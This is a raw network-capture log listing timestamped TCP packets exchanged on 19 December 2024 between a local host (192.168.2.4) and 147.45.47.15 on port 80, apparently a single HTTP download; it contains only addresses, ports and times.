Dec 19, 2024 08:11:50.447400093 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.447462082 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.449450970 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.449562073 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.449620008 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.535295963 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.535377026 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.535674095 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.536115885 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.536178112 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.536225080 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.537734985 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.537822962 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.537863970 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.539347887 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.539449930 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.539515018 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.540993929 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.541062117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.541141987 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.542541027 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.542694092 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.542733908 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.544116020 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.544229031 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.544342041 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.545686960 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.545789957 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.545829058 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.547213078 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.547343016 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.547389030 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.548707008 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.548787117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.548916101 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.550183058 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.550277948 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.550323009 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.551714897 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.551755905 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.551819086 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.553169012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.553247929 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.553348064 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.554645061 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.554714918 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.555141926 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.556068897 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.556157112 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.556209087 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.557473898 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.557602882 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.557646990 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.558942080 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.558980942 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.559056044 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.560358047 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.560488939 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.560535908 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.561736107 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.561847925 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.561892986 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.563205957 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.563308001 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.563627958 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.564574003 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.564604998 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.564660072 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.565903902 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.566045046 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.566162109 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.567253113 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.567352057 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.567462921 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.568573952 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.568680048 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.568974972 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.570019960 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.570038080 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.570091963 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.571291924 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.571367979 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.571522951 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.572630882 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.572698116 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.572819948 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.573919058 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.574008942 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.574280977 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.575222015 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.575282097 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.575387001 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.576579094 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.576631069 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.576715946 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.577877998 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.577963114 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.578037024 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.579210043 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.579287052 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.579363108 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.580521107 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.580591917 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.580666065 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.581845999 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.581967115 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.582043886 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.583170891 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.583280087 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.583332062 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.584501028 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.584578991 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.584722042 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.585807085 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.585901976 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.586049080 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.587153912 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.587351084 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.587390900 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.588457108 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.588574886 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.588620901 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.589755058 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.589867115 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.590115070 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.591070890 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.591176033 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.591222048 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.592453957 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.592519999 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.592571974 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.593792915 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.593863964 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.593990088 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.595102072 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.595290899 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.595329046 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.596430063 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.596590996 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.596631050 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.597707033 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.597831964 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.597871065 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.598998070 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.599101067 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.599160910 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.600332975 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.600416899 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.600495100 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.601655960 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.601747036 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.601809978 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.602969885 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.603070021 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.603180885 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.604289055 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.604474068 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.604756117 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.605678082 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.605777025 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.605897903 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.606915951 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.607104063 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.607148886 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.608227968 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.660641909 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.726839066 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.726944923 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.727293015 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.727426052 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.727503061 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.727559090 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.728208065 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.728307009 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.728351116 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.729219913 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.729394913 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.729509115 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.730300903 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.730396986 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.730439901 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.731297016 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.731408119 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.731456995 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.732412100 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.732484102 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.732547045 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.733400106 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.733521938 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.733566046 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.734481096 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.734524012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.734610081 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.735474110 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.735605001 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.735649109 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.736515045 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.736684084 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.736731052 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.737535000 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.737651110 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.737695932 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.738609076 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.738755941 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.738797903 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.739712954 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.739837885 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.739878893 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.740677118 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.740772963 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.741103888 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.741718054 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.741820097 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.741866112 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.742733002 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.742840052 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.743134975 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.743788004 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.743895054 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.743940115 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.744826078 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.744995117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.745059013 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.745868921 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.745975971 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.746085882 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.746927023 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.747021914 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.747065067 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.748076916 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.748121977 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.748486042 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.748976946 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.749111891 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.749150991 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.750020027 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.750157118 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.750233889 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.751049995 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.751194000 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.751280069 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.752119064 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.752254963 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.752305984 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.753154993 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.753261089 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.753335953 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.754220009 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.754319906 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.754448891 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.755263090 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.755292892 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.755342007 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.756292105 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.756396055 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.756705999 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.757324934 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.757461071 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.757503986 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.758471012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.758560896 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.758608103 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.759433031 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.759505987 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.759569883 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.760421038 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.760545969 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.760590076 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.761473894 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.761603117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.761646986 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.762523890 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.762614012 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.762655973 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.763551950 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.763659000 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.763703108 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.764605045 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.764709949 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.764941931 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.765646935 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.765743017 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.765784979 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.766676903 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.766777039 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.767035007 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.767702103 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.767889023 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.767935038 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.768749952 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.768850088 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.768982887 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.769813061 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.769938946 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.770016909 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.770859003 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.771019936 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.771069050 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.771915913 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.772020102 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.772068024 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.772907972 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.773026943 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.773169994 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.773964882 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.774068117 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.774110079 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.775072098 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.775237083 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.775326014 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.776061058 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.776149035 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.776469946 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.777101040 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.777245998 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.777292013 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.778112888 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.778219938 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.778367043 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.779208899 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.779297113 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.779347897 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.780214071 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.780301094 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.780343056 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.781228065 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.832506895 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.919182062 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.919229984 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.919301987 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.919574976 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.919811964 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.919856071 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.919944048 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.920954943 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.920993090 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.921000957 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.921901941 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:50.921952009 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:50.921996117 CET	80	49738	147.45.47.15	192.168.2.4
